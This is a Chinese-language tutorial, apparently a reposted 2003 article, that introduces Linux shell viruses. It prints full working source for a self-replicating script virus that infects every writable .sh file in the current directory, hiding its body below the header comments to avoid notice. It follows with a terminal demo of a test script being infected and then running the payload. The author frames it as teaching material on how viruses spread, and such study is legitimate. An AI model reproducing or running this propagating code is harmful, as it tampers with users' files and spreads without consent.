Linux下的Shell病毒认识


说起Linux 下的Shell 病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

Linux下SHELL病毒简介
1.前言
说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。
这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码
#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写:watercloud@xfocus.org
#日期:2003-5-13
#B:<+!a%C&t:> 
vFile=$_ ; vTmp=/tmp/.vTmp.$$ 
for f in ./*.sh; do 
if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
if grep ’<+!a%C&t:>’ $f ; then continue; fi 
if sed -n ’1p’ $f | grep ’csh’; then continue; fi 
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
vNo=`awk ’$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp` 
sed -n "1,${vNo}p" $vTmp >$f 
(sed -n ’/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$f 
vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f 
rm -f $vTmp 
done >/dev/null 2>&1 
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:> 
#EOF
看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.演示
测试一下:
先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。
[cloud@ /export/home/cloud/vir]> ls -l 
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./ 
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../ 
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh 
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
来看看我们这个“肉鸡”脚本,很简单:
[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh 
# Just a demo for virus test 
# Author : foo 
# Date : 3000-1-1
ls -l
#EOF
好了开始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh 
Hi, here is a demo shell virus in your script !
来看看感染后的结果:
[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh 
# Just a demo for virus test 
# Author : foo 
# Date : 3000-1-1
#B:<+!a%C&t:> 
vFile=$_ ; vTmp=/tmp/.vTmp.$$ 
for f in ./*.sh; do 
if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
if grep ’<+!a%C&t:>’ $f ; then continue; fi 
if sed -n ’1p’ $f | grep ’csh’; then continue; fi 
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
vNo=`awk ’$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp` 
sed -n "1,${vNo}p" $vTmp >$f 
(sed -n ’/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$f 
vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f 
rm -f $vTmp 
done >/dev/null 2>&1 
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:>
ls -l
#EOF
看,病毒体:
#B:<+!a%C&t:> . . . . 
#E:<+!a%C&t:>
被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。
来执行看看我们新的病毒体看看:
[cloud@ /export/home/cloud/vir]> ./test.sh 
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。
-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh 
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

  • 1
  • 2
  • 下一页

相关内容